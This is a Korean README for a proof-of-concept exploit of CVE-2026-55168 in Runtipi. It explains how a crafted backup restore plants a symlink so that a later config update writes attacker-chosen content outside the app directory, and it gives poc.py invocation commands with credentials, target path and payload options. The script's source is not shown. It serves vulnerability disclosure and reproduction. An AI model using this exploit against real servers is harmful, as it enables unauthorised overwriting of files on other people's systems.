
CVE-2026-55168에 대한 개념 증명 익스플로잇으로, Runtipi에서 백업 복원 중 심볼릭 링크 심기를 통한 인증된 임의 파일 쓰기를 보여줍니다.
이 저장소는 Runtipi의 CVE-2026-55168에 대한 간단한 PoC를 포함합니다.
이 문제는 백업 복원 흐름을 통해 접근할 수 있는 인증된 임의 파일 쓰기입니다. 조작된 백업 아카이브는 복원된 애플리케이션 데이터에 심볼릭 링크를 심을 수 있으며, 이후 일반적인 설정 업데이트가 해당 심볼릭 링크를 따라 의도된 디렉터리 외부에 공격자가 제어하는 콘텐츠를 기록합니다.
참고 권고:
영향 받는 버전:
<= 4.10.0PoC는 Runtipi에 로그인하고, 메모리 내에서 악성 백업 아카이브를 생성한 후 업로드하여 복원을 트리거한 다음, 일반적인 user-config 업데이트 요청을 보냅니다.
복원 페이로드는 다음 심볼릭 링크를 심습니다:
user-config/app.env -> /data/state/proof.txt
그 후, 앱 설정을 업데이트하는 일반 요청으로 인해 Runtipi는 제공된 콘텐츠를 다음 위치에 기록합니다:
/data/state/proof.txt
따라서 중요한 부분은 복원 중 심볼릭 링크 지속성뿐만 아니라, 이후에 이루어지는 합법적인 쓰기 작업이 심어진 심볼릭 링크를 따른다는 점입니다.
poc.py — 종단 간 Python PoCpython poc.py \
--base-url http://127.0.0.1:3001 \
--username YOUR_USERNAME \
--password YOUR_PASSWORD \
--app-urn demoapp3:_user \
--target-path /data/state/proof.txt \
--write-content PWNED_FROM_USERCFG_WRITE
원한다면 생성된 아카이브를 로컬에 저장할 수도 있습니다:
python poc.py \
--base-url http://127.0.0.1:3001 \
--username YOUR_USERNAME \
--password YOUR_PASSWORD \
--output payload.tar.gz
대상이 취약한 경우, 스크립트는 성공적으로 완료되고 status: "ok"가 포함된 작은 JSON 결과를 출력합니다.
이 PoC는 연구 및 재현 목적으로 제공됩니다.